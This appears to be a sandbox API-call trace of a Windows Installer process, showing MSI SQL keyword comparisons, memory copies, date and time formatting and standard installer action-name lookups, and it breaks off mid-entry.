[0149.634] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0149.634] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0149.635] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0149.635] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.635] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.635] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.635] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.635] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.635] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.635] lstrcmpiW (lpString1="SELECT", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="FROM", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="AS", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="WHERE", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="NULL", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="OR", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="AND", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="NOT", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="ORDER", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="BY", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="DISTINCT", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="UPDATE", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="DELETE", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="INSERT", lpString2="2") returned 1 [0149.635] lstrcmpiW (lpString1="INTO", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="SET", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="VALUES", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="IS", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="CREATE", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="DROP", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="ALTER", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="TABLE", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="ADD", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="PRIMARY", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="KEY", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="CHAR", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="CHARACTER", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="VARCHAR", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="LONGCHAR", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="INT", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="INTEGER", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="SHORT", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="LONG", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="OBJECT", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="TEMPORARY", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="HOLD", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="FREE", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="2") returned 1 [0149.636] lstrcmpiW (lpString1="", lpString2="2") returned -1 [0149.636] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.636] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.636] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.637] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.637] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.637] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.637] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0149.637] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0149.638] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0149.638] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.638] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.638] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.639] lstrcmpiW (lpString1="SELECT", lpString2="null") returned 1 [0149.639] lstrcmpiW (lpString1="FROM", lpString2="null") returned -1 [0149.639] lstrcmpiW (lpString1="AS", lpString2="null") returned -1 [0149.639] lstrcmpiW (lpString1="WHERE", lpString2="null") returned 1 [0149.639] lstrcmpiW (lpString1="NULL", lpString2="null") returned 0 [0149.639] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.639] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.639] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0149.639] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0149.640] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0149.640] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0149.640] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0149.640] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.640] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.640] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0149.641] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0149.641] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0149.641] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0149.641] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.641] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.641] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.641] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.641] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.641] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.641] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.641] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.641] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.641] lstrlenW (lpString="RegAction") returned 9 [0149.641] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0149.641] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0149.642] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0149.642] GlobalLock (hMem=0xf40228) returned 0x37b01a0 [0149.643] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.644] GetCurrentThreadId () returned 0xf50 [0149.644] GetCurrentThreadId () returned 0xf50 [0149.644] SetEvent (hEvent=0x170) returned 1 [0149.644] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.645] memcpy (in: _Dst=0x37b0401, _Src=0x10cda58, _Size=0x2 | out: _Dst=0x37b0401) returned 0x37b0401 [0149.645] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.646] memcpy (in: _Dst=0x37b0459, _Src=0x10cdd78, _Size=0x2 | out: _Dst=0x37b0459) returned 0x37b0459 [0149.646] memcpy (in: _Dst=0x37b045b, _Src=0x10cdd78, _Size=0x2 | out: _Dst=0x37b045b) returned 0x37b045b [0149.646] memcpy (in: _Dst=0x37b045d, _Src=0x10cdd78, _Size=0x4 | out: _Dst=0x37b045d) returned 0x37b045d [0149.646] memcpy (in: _Dst=0x37b0461, _Src=0x10cdd78, _Size=0x2 | out: _Dst=0x37b0461) returned 0x37b0461 [0149.646] memcpy (in: _Dst=0x37b0463, _Src=0x10cdd78, _Size=0x4 | out: _Dst=0x37b0463) returned 0x37b0463 [0149.646] memcpy (in: _Dst=0x37b0467, _Src=0x10cdd78, _Size=0x2 | out: _Dst=0x37b0467) returned 0x37b0467 [0149.646] memcpy (in: _Dst=0x37b0469, _Src=0x10cdd78, _Size=0x4 | out: _Dst=0x37b0469) returned 0x37b0469 [0149.646] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.647] memcpy (in: _Dst=0x37b046d, _Src=0x10cdc68, _Size=0x2 | out: _Dst=0x37b046d) returned 0x37b046d [0149.647] memcpy (in: _Dst=0x37b046f, _Src=0x10cdc68, _Size=0x2 | out: _Dst=0x37b046f) returned 0x37b046f [0149.647] memcpy (in: _Dst=0x37b0471, _Src=0x10cdc68, _Size=0x4 | out: _Dst=0x37b0471) returned 0x37b0471 [0149.647] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.648] memcpy (in: _Dst=0x37b04b0, _Src=0x10cdc68, _Size=0x2 | out: _Dst=0x37b04b0) returned 0x37b04b0 [0149.648] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.649] memcpy (in: _Dst=0x37b04c8, _Src=0x10cdc68, _Size=0x2 | out: _Dst=0x37b04c8) returned 0x37b04c8 [0149.649] lstrlenW (lpString="USERNAME") returned 8 [0149.649] lstrlenW (lpString="LogonUser") returned 9 [0149.649] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10cdc10, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0149.649] GetLocalTime (in: lpSystemTime=0x10cdc10 | out: lpSystemTime=0x10cdc10*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.649] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10cdc10, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0149.649] GetLocalTime (in: lpSystemTime=0x10cdc40 | out: lpSystemTime=0x10cdc40*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.649] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10cdc40, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0149.649] memcpy (in: _Dst=0x10cdea0, _Src=0x7fef7b23298, _Size=0x12 | out: _Dst=0x10cdea0) returned 0x10cdea0 [0149.649] memcpy (in: _Dst=0x29f80b0, _Src=0x10cdea0, _Size=0x10 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.649] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.650] memcpy (in: _Dst=0x37b04dd, _Src=0x10cdc68, _Size=0x2 | out: _Dst=0x37b04dd) returned 0x37b04dd [0149.650] lstrlenW (lpString="Date") returned 4 [0149.650] lstrlenW (lpString="USERNAME") returned 8 [0149.650] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cdc10, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.650] GetLocalTime (in: lpSystemTime=0x10cdc10 | out: lpSystemTime=0x10cdc10*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.651] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cdc10, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.651] GetLocalTime (in: lpSystemTime=0x10cdc40 | out: lpSystemTime=0x10cdc40*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.651] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cdc40, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.651] memcpy (in: _Dst=0x10cdea0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10cdea0) returned 0x10cdea0 [0149.651] memcpy (in: _Dst=0x29f80b0, _Src=0x10cdea0, _Size=0x10 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.651] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.652] memcpy (in: _Dst=0x37b04ef, _Src=0x10cdc68, _Size=0x2 | out: _Dst=0x37b04ef) returned 0x37b04ef [0149.652] lstrlenW (lpString="Time") returned 4 [0149.652] lstrlenW (lpString="Date") returned 4 [0149.652] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.653] memcpy (in: _Dst=0x37b0501, _Src=0x10cdc68, _Size=0x2 | out: _Dst=0x37b0501) returned 0x37b0501 [0149.653] lstrlenW (lpString="WRAPPED_ARGUMENTS") returned 17 [0149.653] lstrlenW (lpString="Time") returned 4 [0149.653] GlobalUnlock (hMem=0xf40228) returned 0 [0149.653] GlobalUnlock (hMem=0xf40208) returned 0 [0149.653] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.653] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.653] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.653] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.653] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x32c)) [0149.653] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.653] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.653] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.653] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.653] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.653] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.654] lstrcmpW (lpString1="Advertise", lpString2="RegisterUser") returned -1 [0149.654] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="RegisterUser") returned -1 [0149.654] lstrcmpW (lpString1="AppSearch", lpString2="RegisterUser") returned -1 [0149.654] lstrcmpW (lpString1="BindImage", lpString2="RegisterUser") returned -1 [0149.654] lstrcmpW (lpString1="CCPSearch", lpString2="RegisterUser") returned -1 [0149.654] lstrcmpW (lpString1="CostFinalize", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="CostInitialize", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="CreateFolders", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="CreateShortcuts", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="DeleteServices", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="DuplicateFiles", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="FileCost", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="FindRelatedProducts", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="GenerateScript", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="InstallAdminPackage", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="InstallFiles", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="InstallODBC", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="InstallServices", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="InstallValidate", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="LaunchConditions", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="MoveFiles", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="PatchFiles", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="ProcessComponents", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="PublishComponents", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="PublishFeatures", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="PublishProduct", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="RegisterClassInfo", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="RegisterComPlus", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="RegisterFonts", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="RegisterUser") returned -1 [0149.655] lstrcmpW (lpString1="RegisterProduct", lpString2="RegisterUser") returned -1 [0149.656] 